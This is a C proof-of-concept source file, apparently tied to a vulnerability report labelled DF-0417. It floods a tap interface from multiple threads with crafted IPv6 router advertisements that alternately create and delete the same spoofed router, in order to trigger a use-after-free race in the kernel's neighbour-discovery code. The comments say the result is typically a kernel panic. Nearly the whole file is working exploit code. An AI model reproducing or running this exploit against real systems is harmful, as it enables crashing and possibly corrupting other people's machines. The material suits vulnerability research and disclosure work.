DF-0417 / ra_race_mt.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 | /* DF-0417 PoC (multi-threaded race): drive the defrtrlist_update() UAF race. * * tap0 can only be opened by ONE process (tapopen is exclusive, if_tap.c:337), * so this single process opens /dev/tap0 and spawns N worker threads that each * flood alternating CREATE (lifetime + many prefix-info options to widen the * unlocked window in nd6_ra_input between defrtrlist_update() returning and * prelist_update() re-locking) and DELETE (lifetime 0 -> defrtrlist_del -> * kfree) RAs for the SAME router address. * * tapwrite() calls if_input() synchronously on the writer's CPU (if_tap.c:981), * so workers running on different CPUs process their RAs concurrently: * worker A (CPUx): defrtrlist_update() returns dr, runs unlocked prefix loop * worker B (CPUy): defrtrlist_del(dr) -> kfree(dr) * If B frees dr while A is still in the prefix loop, A's prelist_update() then * stores a DANGLING pointer (pfxrtr_add) into a prefix's router list; the next * pfxlist_onlink_check() / sysctl prefix-list export field-dereferences it * (nd6_rtr.c:1148-1149, nd6.c:1493/2248-2253) -> UAF read. * * On GENERIC (INVARIANTS ON) the freed slab is poisoned (0xdeadc0de) so the * deferred read usually faults -> kernel panic. This is the bug's signature. * * Build: cc -O2 -pthread -o ra_race_mt ra_race_mt.c * Run (root, after `ifconfig tap0 create up` + ndflagset tap0): * ./ra_race_mt [-d /dev/tap0] [-t threads] [-s secs] [-p prefixes] */ #include <sys/param.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <sys/types.h> #include <net/if.h> #include <net/if_dl.h> #include <net/if_types.h> #include <net/ethernet.h> #include <netinet/in.h> #include <netinet/ip6.h> #include <netinet/icmp6.h> #include <arpa/inet.h> #include <ifaddrs.h> #include <fcntl.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <time.h> #define ATTK_LLA "fe80::dead:beef:cafe" static const unsigned char en_attacker[6] = {0x52,0x54,0,0xde,0xad,0xbe}; /* Auto-detect the tap interface's own MAC and IPv6 link-local so we can * unicast the RA at it. (tap0 does not join ff02::1 on this guest, so * multicast RAs are dropped by ether_input; nd6_ra_input does not require * a multicast destination, so a unicast RA is accepted.) */ static int resolve_tap(const char *ifname, unsigned char mac[6], struct in6_addr *lla) { struct ifaddrs *ifa, *p; if (getifaddrs(&ifa) != 0) return -1; int gotmac = 0, gotlla = 0; for (p = ifa; p; p = p->ifa_next) { if (!p->ifa_name || strcmp(p->ifa_name, ifname)) continue; if (p->ifa_addr == NULL) continue; if (p->ifa_addr->sa_family == AF_LINK && !gotmac) { struct sockaddr_dl *sdl = (struct sockaddr_dl *)p->ifa_addr; if (sdl->sdl_type == IFT_ETHER && sdl->sdl_alen == 6) { memcpy(mac, LLADDR(sdl), 6); gotmac = 1; } } else if (p->ifa_addr->sa_family == AF_INET6 && !gotlla) { struct sockaddr_in6 *sin6 = (struct sockaddr_in6 *)p->ifa_addr; if (IN6_IS_ADDR_LINKLOCAL(&sin6->sin6_addr)) { *lla = sin6->sin6_addr; /* clear embedded scope id */ lla->s6_addr[2] = 0; lla->s6_addr[3] = 0; gotlla = 1; } } } freeifaddrs(ifa); return (gotmac && gotlla) ? 0 : -1; } static u_int16_t icmp6_cksum(const struct in6_addr *s, const struct in6_addr *d, const u_int8_t *p, int len) { u_int32_t sum = 0; int i; for (i=0;i<8;i++){ sum+=ntohs(s->s6_addr16[i]); sum+=ntohs(d->s6_addr16[i]); } sum += len; sum += IPPROTO_ICMPV6; for (i=0;i<(len&~1);i+=2) sum += (p[i]<<8)|p[i+1]; if (len&1) sum += p[len-1]<<8; while (sum>>16) sum=(sum&0xffff)+(sum>>16); return (u_int16_t)(~sum & 0xffff); } static int g_npfx = 16; static struct in6_addr g_src, g_dst; static unsigned char g_dstmac[6]; static int g_fd = -1; static int g_secs = 60; static volatile int g_stop = 0; static int g_frame; static u_int8_t *g_create, *g_dele; static int g_clen, g_dlen; static void build_frames(void) { g_frame = 14 + 40 + sizeof(struct nd_router_advert) + g_npfx * (int)sizeof(struct nd_opt_prefix_info) + 8; g_create = malloc(g_frame+4); g_dele = malloc(g_frame+4); /* CREATE: lifetime 1800 + prefix options */ u_int8_t *b = g_create; int off=0; memcpy(b+off,g_dstmac,6); off+=6; /* unicast to tap */ memcpy(b+off,en_attacker,6); off+=6; b[off++]=0x86; b[off++]=0xdd; struct ip6_hdr *ip=(struct ip6_hdr*)(b+off); ip->ip6_flow=htonl(6<<28); int icmp_off=off+sizeof(struct ip6_hdr); int ra_len=sizeof(struct nd_router_advert)+g_npfx*(int)sizeof(struct nd_opt_prefix_info)+8; ip->ip6_plen=htons(ra_len); ip->ip6_nxt=IPPROTO_ICMPV6; ip->ip6_hlim=255; ip->ip6_src=g_src; ip->ip6_dst=g_dst; off=icmp_off; struct nd_router_advert *ra=(struct nd_router_advert*)(b+off); ra->nd_ra_type=ND_ROUTER_ADVERT; ra->nd_ra_code=0; ra->nd_ra_cksum=0; ra->nd_ra_curhoplimit=64; ra->nd_ra_flags_reserved=0; ra->nd_ra_router_lifetime=htons(1800); ra->nd_ra_reachable=0; ra->nd_ra_retransmit=0; off+=sizeof(struct nd_router_advert); for (int p=0;p<g_npfx;p++){ struct nd_opt_prefix_info *pi=(struct nd_opt_prefix_info*)(b+off); pi->nd_opt_pi_type=ND_OPT_PREFIX_INFORMATION; pi->nd_opt_pi_len=4; pi->nd_opt_pi_prefix_len=64; pi->nd_opt_pi_flags_reserved=ND_OPT_PI_FLAG_ONLINK|ND_OPT_PI_FLAG_AUTO; pi->nd_opt_pi_valid_time=htonl(3600); pi->nd_opt_pi_preferred_time=htonl(1800); pi->nd_opt_pi_reserved2=0; memset(&pi->nd_opt_pi_prefix,0,sizeof(pi->nd_opt_pi_prefix)); pi->nd_opt_pi_prefix.s6_addr16[0]=htons(0x2001); pi->nd_opt_pi_prefix.s6_addr16[1]=htons(0x0db8); pi->nd_opt_pi_prefix.s6_addr[15]=(u_int8_t)(p+1); off+=sizeof(struct nd_opt_prefix_info); } struct nd_opt_hdr *sll=(struct nd_opt_hdr*)(b+off); sll->nd_opt_type=ND_OPT_SOURCE_LINKADDR; sll->nd_opt_len=1; memcpy(b+off+2,en_attacker,6); off+=8; int plen=off-icmp_off; ra->nd_ra_cksum=htons(icmp6_cksum(&g_src,&g_dst,(u_int8_t*)ra,plen)); g_clen=off; /* DELETE: lifetime 0 (same options, harmless) */ memcpy(g_dele, g_create, g_clen); struct nd_router_advert *rad=(struct nd_router_advert*)(g_dele+icmp_off); rad->nd_ra_router_lifetime=htons(0); rad->nd_ra_cksum=0; rad->nd_ra_cksum=htons(icmp6_cksum(&g_src,&g_dst,(u_int8_t*)rad,plen)); g_dlen=g_clen; } static void *worker(void *arg) { int tid = (int)(long)arg; long sent=0; while (!g_stop) { /* each worker alternates create/delete; high aggregate rate from many * workers maximizes the chance a DELETE on one CPU lands inside a * CREATE's unlocked prefix loop on another CPU. */ u_int8_t *f = (sent & 1) ? g_dele : g_create; int fl = (sent & 1) ? g_dlen : g_clen; if (write(g_fd, f, fl) < 0) { /* ignore transient errors */ } sent++; } fprintf(stderr, " worker %d: sent %ld\n", tid, sent); return NULL; } int main(int argc, char **argv) { const char *dev="/dev/tap0"; const char *ifname="tap0"; int nthreads=6; int opt; while ((opt=getopt(argc,argv,"d:i:t:s:p:"))!=-1){ switch(opt){ case 'd': dev=optarg; break; case 'i': ifname=optarg; break; case 't': nthreads=atoi(optarg); break; case 's': g_secs=atoi(optarg); break; case 'p': g_npfx=atoi(optarg); break; default: fprintf(stderr,"usage: %s [-d dev][-i ifname][-t threads][-s sec][-p pfx]\n",argv[0]); return 2; } } if (inet_pton(AF_INET6,ATTK_LLA,&g_src)!=1){ fprintf(stderr,"inet_pton src failed\n"); return 2; } if (resolve_tap(ifname, g_dstmac, &g_dst) != 0) { fprintf(stderr,"could not resolve %s mac/link-local (is it UP w/ IPv6?)\n", ifname); return 2; } char dstbuf[INET6_ADDRSTRLEN]; inet_ntop(AF_INET6,&g_dst,dstbuf,sizeof(dstbuf)); fprintf(stderr,"target %s mac=%02x:%02x:%02x:%02x:%02x:%02x lla=%s\n", ifname, g_dstmac[0],g_dstmac[1],g_dstmac[2],g_dstmac[3],g_dstmac[4],g_dstmac[5], dstbuf); g_fd=open(dev, O_RDWR); if (g_fd<0){ perror(dev); return 2; } build_frames(); fprintf(stderr,"DF-0417 ra_race_mt: dev=%s threads=%d prefixes/RA=%d secs=%d frame=%dB\n", dev,nthreads,g_npfx,g_secs,g_frame); fprintf(stderr," router LLA=%s lifetime CREATE=1800 DELETE=0\n", ATTK_LLA); pthread_t th[64]; if (nthreads>64) nthreads=64; for (int i=0;i<nthreads;i++) pthread_create(&th[i],NULL,worker,(void*)(long)i); sleep(g_secs); g_stop=1; for (int i=0;i<nthreads;i++) pthread_join(th[i],NULL); fprintf(stderr," finished after %ds\n", g_secs); return 0; } |